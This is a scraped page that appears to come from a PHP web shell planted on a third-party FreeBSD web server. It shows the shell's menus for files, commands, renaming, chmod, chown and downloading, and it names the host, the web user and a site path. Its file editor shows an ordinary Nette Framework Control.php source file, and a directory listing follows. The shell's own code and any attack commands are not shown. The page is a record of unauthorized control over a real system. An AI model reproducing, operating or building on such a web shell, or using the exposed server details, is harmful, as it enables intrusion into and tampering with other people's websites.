TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
addlogo
home
vendor
nette
application
src
Application
UI
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/addlogo/home/vendor/nette/application/src/Application/UI/Control.php
<?php /** * This file is part of the Nette Framework (http://nette.org) * Copyright (c) 2004 David Grudl (http://davidgrudl.com) */ namespace Nette\Application\UI; use Nette; /** * Control is renderable Presenter component. * * @property-read ITemplate $template * @property-read string $snippetId */ abstract class Control extends PresenterComponent implements IRenderable { /** @var ITemplateFactory */ private $templateFactory; /** @var ITemplate */ private $template; /** @var array */ private $invalidSnippets = array(); /** @var bool */ public $snippetMode; /********************* template factory ****************d*g**/ public function setTemplateFactory(ITemplateFactory $templateFactory) { $this->templateFactory = $templateFactory; } /** * @return ITemplate */ public function getTemplate() { if ($this->template === NULL) { $value = $this->createTemplate(); if (!$value instanceof ITemplate && $value !== NULL) { $class2 = get_class($value); $class = get_class($this); throw new Nette\UnexpectedValueException("Object returned by $class::createTemplate() must be instance of Nette\\Application\\UI\\ITemplate, '$class2' given."); } $this->template = $value; } return $this->template; } /** * @return ITemplate */ protected function createTemplate() { $templateFactory = $this->templateFactory ?: $this->getPresenter()->getTemplateFactory(); return $templateFactory->createTemplate($this); } /** * Descendant can override this method to customize template compile-time filters. * @param ITemplate * @return void */ public function templatePrepareFilters($template) { } /** * Saves the message to template, that can be displayed after redirect. * @param string * @param string * @return \stdClass */ public function flashMessage($message, $type = 'info') { $id = $this->getParameterId('flash'); $messages = $this->getPresenter()->getFlashSession()->$id; $messages[] = $flash = (object) array( 'message' => $message, 'type' => $type, ); $this->getTemplate()->flashes = $messages; $this->getPresenter()->getFlashSession()->$id = $messages; return $flash; } /********************* rendering ****************d*g**/ /** * Forces control or its snippet to repaint. * @return void */ public function redrawControl($snippet = NULL, $redraw = TRUE) { if ($redraw) { $this->invalidSnippets[$snippet === NULL ? "\0" : $snippet] = TRUE; } elseif ($snippet === NULL) { $this->invalidSnippets = array(); } else { unset($this->invalidSnippets[$snippet]); } } /** @deprecated */ function invalidateControl($snippet = NULL) { $this->redrawControl($snippet); } /** @deprecated */ function validateControl($snippet = NULL) { $this->redrawControl($snippet, FALSE); } /** * Is required to repaint the control or its snippet? * @param string snippet name * @return bool */ public function isControlInvalid($snippet = NULL) { if ($snippet === NULL) { if (count($this->invalidSnippets) > 0) { return TRUE; } else { $queue = array($this); do { foreach (array_shift($queue)->getComponents() as $component) { if ($component instanceof IRenderable) { if ($component->isControlInvalid()) { // $this->invalidSnippets['__child'] = TRUE; // as cache return TRUE; } } elseif ($component instanceof Nette\ComponentModel\IContainer) { $queue[] = $component; } } } while ($queue); return FALSE; } } else { return isset($this->invalidSnippets["\0"]) || isset($this->invalidSnippets[$snippet]); } } /** * Returns snippet HTML ID. * @param string snippet name * @return string */ public function getSnippetId($name = NULL) { // HTML 4 ID & NAME: [A-Za-z][A-Za-z0-9:_.-]* return 'snippet-' . $this->getUniqueId() . '-' . $name; } }
Crotin
Name
Size
Permissions
Modified
User/Group
PresenterComponentReflection.php
4772
0644
2015-09-30 18:29:15
Unknown/Unknown
IStatePersistent.php
472
0644
2015-09-30 18:29:14
Unknown/Unknown
ISignalReceiver.php
353
0644
2015-09-30 18:29:15
Unknown/Unknown
ITemplate.php
493
0644
2015-09-30 18:29:14
Unknown/Unknown
Form.php
3298
0644
2015-09-30 18:29:15
Unknown/Unknown
PresenterComponent.php
10283
0644
2015-09-30 18:29:14
Unknown/Unknown
Control.php
3931
0644
2015-09-30 18:29:15
Unknown/Unknown
Multiplier.php
572
0644
2015-09-30 18:29:15
Unknown/Unknown
Link.php
1811
0644
2015-09-30 18:29:14
Unknown/Unknown
ITemplateFactory.php
325
0644
2015-09-30 18:29:14
Unknown/Unknown
BadSignalException.php
329
0644
2015-09-30 18:29:15
Unknown/Unknown
InvalidLinkException.php
259
0644
2015-09-30 18:29:15
Unknown/Unknown
IRenderable.php
428
0644
2015-09-30 18:29:14
Unknown/Unknown
Presenter.php
35376
0644
2015-09-30 18:29:14
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin